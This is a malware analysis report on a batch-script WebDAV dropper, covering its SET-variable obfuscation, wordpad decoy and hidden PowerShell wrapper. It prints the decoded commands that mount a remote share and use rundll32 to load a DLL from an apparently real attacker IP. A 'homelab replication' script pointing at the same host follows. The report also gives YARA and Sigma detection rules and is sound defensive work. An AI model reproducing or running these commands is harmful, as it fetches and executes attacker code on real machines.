unclassified-js-webdav-dropper: dc9b0407 — 19th sibling, shared-prefix batch SET obfuscation, rundll32 entry

Executive Summary. 2.1 KB pure-batch WebDAV dropper using shared-prefix (nxbas) SET variable expansion to obfuscate a net use mount and rundll32 DLL load against 45.9.74.32:8888. wordpad decoy and powershell.exe -windowstyle hidden wrapper present. Nineteenth confirmed sibling in the unclassified-js-webdav-dropper cluster.

What It Is

How It Works

1. Obfuscation layer — shared-prefix SET expansion. Thirty-six variables share the prefix nxbas followed by ten-character pseudo-random suffixes. Each variable maps to a single alphanumeric character. The payload line is assembled by %VAR% expansion, producing the full command string at parse time. ^[sample dc9b0407/strings.txt:1]

2. Decoy execution. color f0 (white on black) followed by start wordpad opens WordPad to give the appearance of a benign document viewer. ^[sample dc9b0407/strings.txt:2]

3. Hidden PowerShell wrapper. start powershell.exe -windowstyle hidden spawns the actual payload command with no visible window. ^[sample dc9b0407/strings.txt:3]

4. WebDAV mount + DLL execution. The decoded payload is:

   net use \\45.9.74.32@8888\davwwwroot\
   rundll32 \\45.9.74.32@8888\davwwwroot\1369.dll,entry
   

   net use mounts the remote WebDAV share; rundll32 loads 1369.dll and calls its entry export over the UNC path. No local payload is written to disk. ^[sample dc9b0407/strings.txt:3]

Decompiled Behavior

Not applicable — batch script, no compiled code. Static string decoding is sufficient to recover the full execution chain.

C2 Infrastructure

No domain names, no persistence mechanism, no sandbox gate, and no secondary C2 observed.

Interesting Tidbits

• Same infrastructure as siblings e777fd64, ed6b2cd3, c6e24c16, ceacabb4, and d36d84f2. All six samples use 45.9.74.32:8888 and rundll32 ... ,entry. Only the SET prefix and payload filename differ, confirming a templated build pipeline. ^[sample dc9b0407/strings.txt:3]
• Prefix length. nxbas is five characters — shorter than the mnihx (5), labzf (5), wdopm (5), hbutc (5), nmnmd (5), and iqrstg (6) prefixes observed in earlier siblings. The suffix lengths vary from 6–10 characters.
• No persistence. One-shot execution; no registry, scheduled task, or startup folder modifications. Relies on the user re-running the lure or on a separate persistence mechanism in the loaded DLL.
• No anti-analysis. No debugger checks, no VM detection, no connectivity tests, no time-bombs.
• Trivial ssdeep. Below threshold (Did not process files large enough to produce meaningful results). Not useful for fuzzy hashing against siblings. ^[sample dc9b0407/ssdeep.txt]

How To Mess With It (Homelab Replication)

1. Open Notepad.
2. Paste the decoded command:

   @echo off
   color f0
   start wordpad
   start powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1369.dll,entry
   

3. Save as demo.bat.
4. Run in a sandboxed VM with network isolation.
5. Observe net use and rundll32 process creation in ProcMon.

Deployable Signatures

YARA rule

rule webdav_batch_dropper_nxbas {
    meta:
        description = "WebDAV batch dropper with nxbas-prefix SET variable expansion"
        author = "PacketPursuit"
        date = "2026-06-26"
        sha256 = "dc9b0407bfe2468576b9a012abe289885167fbcf09251eb39487c6e92c9e2773"
    strings:
        $set_prefix = "set nxbas" ascii
        $net_use = "net use" ascii
        $dav = "DavWWWRoot" ascii
        $rundll = "rundll32" ascii
        $wordpad = "wordpad" ascii
    condition:
        $set_prefix and $net_use and $dav and $rundll and filesize < 5KB
}

Sigma rule

title: WebDAV Batch Dropper Execution - rundll32 via UNC WebDAV
description: Detects batch scripts executing rundll32 against a WebDAV UNC path with DavWWWRoot
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        CommandLine|contains:
            - 'DavWWWRoot'
            - 'rundll32'
        CommandLine|re:
            - 'rundll32\s+\\\\[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+@\d+\\DavWWWRoot\\.*\.dll'
    condition: selection
falsepositives:
    - Unknown
level: high

Behavioral fingerprint statement

This batch script defines 30–40 SET variables with a shared 5–6 character prefix and pseudo-random suffixes, each mapping to a single alphanumeric character. It then expands those variables on a single command line to assemble a net use WebDAV mount followed by rundll32 execution of a remote DLL over a UNC path (\\IP@port\DavWWWRoot\). A wordpad decoy and powershell.exe -windowstyle hidden wrapper are consistently present. No persistence, no sandbox gate, no anti-analysis.

IOC list

Detection Signatures

No capa or YARA hits — batch script, not a PE. Detection relies on command-line telemetry (net use + rundll32 with DavWWWRoot UNC) and EDR behavioral rules.

References

• unclassified-js-webdav-dropper — Family entity page
• batch-powershell-variable-expansion-obfuscation — Technique page for the SET fragmentation pattern
• webdav-regsvr32-dll-sideloading — Technique page for the WebDAV + system-binary proxy execution chain
• Sibling: e777fd64b88a066748001a99e30ed1c4b46d9f8c4cbeee322a78d1fc06e5062f — same C2, same execution engine, hbutc prefix ^[/intel/analyses/e777fd64b88a066748001a99e30ed1c4b46d9f8c4cbeee322a78d1fc06e5062f.html]

Provenance

• file.txt — file(1) output, ASCII text, with very long lines (1266)
• strings.txt — raw strings (3 lines, 1266 chars longest)
• triage.json — triage pipeline metadata
• metadata.json — artifact metadata
• ssdeep.txt — below-threshold ssdeep result
• dynamic-analysis.md — CAPE skipped (not a supported binary class)
• Decoded via Python regex substitution of set ([a-z]+)=([a-z0-9]) mappings, then %VAR% expansion